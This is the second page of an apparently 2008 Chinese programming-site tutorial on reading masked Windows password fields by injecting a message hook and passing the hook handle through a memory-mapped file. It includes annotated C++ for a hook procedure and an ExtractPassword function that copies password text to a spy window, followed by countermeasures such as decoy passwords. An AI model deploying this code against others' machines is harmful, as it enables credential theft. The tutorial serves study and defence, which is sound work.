安全中国首页 > 编程中心 > VC/C++编程
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

基于HOOK和MMF的Windows密码渗透技术(图)

更新时间:2008-4-23 16:13:04
责任编辑:hzz
热 点:
8、关于WM_COPYDATA消息,应该注意三个重要问题

  1)只能发送这个消息,不能登记这个消息。不能登记一个WM_COPYDATA消息,因为在接收消息的窗口过程处理完消息之后,系统必须释放内存映像文件。如果登记这个消息,系统不知道这个消息何时被处理,所以也不能释放复制的内存块。

  2)系统从另外的进程的地址空间中复制数据要花费一些时间。所以不应该让发送程序中运行的其他线程修改这个内存块,直到SendMessage调用返回。

  3)利用WM_COPYDATA消息,可以实现1 6位和3 2位之间的通信。它也能实现3 2位与6 4位之间的通信。这是使新程序同旧程序交流的便捷方法。

  9、重要代码及注解

  9.1钩子函数void ExtractPassword(const HWND hWnd, const HWND hPwdSpyWnd),该函数是获取密码的主要函数

TCHAR szBuffer[256] = {_T('\0')};//分配一个缓冲区
SendMessage(hWnd,WM_GETTEXT,//向注入钩子进程发消息获得密码文本
sizeof(szBuffer)/sizeof(TCHAR), (LPARAM)szBuffer);//保存在缓冲区中
COPYDATASTRUCT cds = {0};//定义一个cds结构体
cds.dwData = (DWORD)hWnd;//dwData保存该进程句柄
cds.cbData = (lstrlen(szBuffer) + 1) * sizeof (TCHAR); //cbData保存数据长度
cds.lpData = szBuffer;//lpData指向缓冲首地址
SendMessage(hPwdSpyWnd,WM_COPYDATA,
 (WPARAM)hWnd, (LPARAM)&cds);//利用WM_COPY DATA消息给获取密码进程发送密码

  9.2钩子过程LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam),该过程主要完成从内存映像文件中读出保存的钩子句柄。

if(g_hHook == NULL)
{
 //从共享资源中读数据,最终获取钩子句柄
 DWORD dwData = 0, dwSize = sizeof (DWORD);
 g_obIPC.Lock();//g_obIPC为CIPC对象,进入线程的同步
 g_obIPC.OpenIPCMMF();//打开MMF文件
 g_obIPC.ReadIPCMMF((LPBYTE)&dwData, dwSize);//读数据给dwData
 g_obIPC.Unlock();//取消线程同步,退出临界区
 g_hHook = (HHOOK)dwData;//将读到的数据赋值给钩子句柄,本文的关键所在
}

if(nCode >= 0)//忽略小于0的值
{
 HWND hWnd = NULL; //密码控件所在的窗口句柄
 HWND hPwdSpyWnd = NULL;//获取密码进程的窗口句柄
 MSG *pMsg = (MSG*)lParam;
 if(pMsg->message == g_wmScanPassword)//是否我们登记的消息
 {
  hWnd = (HWND)pMsg->wParam;
  hPwdSpyWnd = (HWND)pMsg->lParam;
  ExtractPassword(hWnd, hPwdSpyWnd); //通过发送消息得到密码
 }
}

return CallNextHookEx(g_hHook, nCode, wParam, lParam);//返回下一钩子过程

  10、演示界面

  如图3所示:实例是MFC下基于对话框的工程。在window XP下,拖动图片控件放大镜来检索密码控件中的密码。下面的文本框显示一些相关的窗口信息以及密码文本。

  11、反密码渗透应对策略

  通过以上介绍的原理、方法及实现我们了解了如何得到windows系列密码的方法,一个逻辑的问题是如何防止别人利用这样的间谍程序复制我们的密码?例如我们上网时如果被这样的钩子程序入侵,怎么才能保护密码的安全。首选的解决方法是欺骗间谍程序,在用户程序中不要显示真实的密码,最好是在密码控件中显示一条虚假的密码。这样如果有人用以上的程序来获取密码,那他得到的是虚假的密码而不是真实密码。

  当然还有其它的应对策略,一种可行的方法是拦截WM_GETTEXT。但用虚假密码还有其它的好处,通过利用虚假密码代替真密码,那么看到的密码控件上***长度就不能判断密码到底有多长。如果一个程序在其密码控件中显示了“***”的文本,我们立即知道密码只有三个字符的长度,密码的安全性大大降低。但如果通过一些加密算法将密码控件的显示变为一长串的“*”,这种方法常见于微软的密码保护策略。那么密码攻击者将无从下手。

  
  图3 实例演示

  12、小结

  本文以评论windows系列的密码特点为起点,主要针对2k/XP下的密码渗透进行了分析。通过在进程内注入windows钩子以及利用内存映像文件安全传递钩子句柄等技术,找出一条获取2K/XP中密码的途径。但不可否认这都是建立在利用windows安全漏洞的基础之上的。为了弥补这些安全漏洞,本文在最后也提出一些设想供读者参考。当然只是在技术上解决一些问题是不够的,关键还是人的因素,加强保密观念对于密码的保护起到了至关重要的作用。

上一页 1 2 

 
学习软件编程开发技术,推荐加入以下软件编程培训班:
易语言软件编程培训班(简单易学)  Delphi软件编程培训班  VC++软件编程培训班
VB软件编程培训班  JAVA高端编程就业研发班

学习网站开发制作技术,推荐加入以下网站开发培训班:
ASP.net网站开发项目实战班  ASP语言网站建设培训班

学习网络安全入侵防护技术,推荐加入以下技术培训班:
大型网络安全入侵防护班  网站脚本程序全方位安全检测班

学习网络管理、网吧运营维护技术(网管),推荐加入以下培训班:
大型网吧技术管理人才特训班  Linux网络嵌入架构工程师培训班

学习专项特殊技术,推荐加入以下专项技术培训班:
软件与游戏外挂脱壳破解班(逆向工程)  赚钱王道-网赚技能培训班  Flash动画设计师就业特训班

 
相关编程
一日一文章
 
一日一软件
一日一动画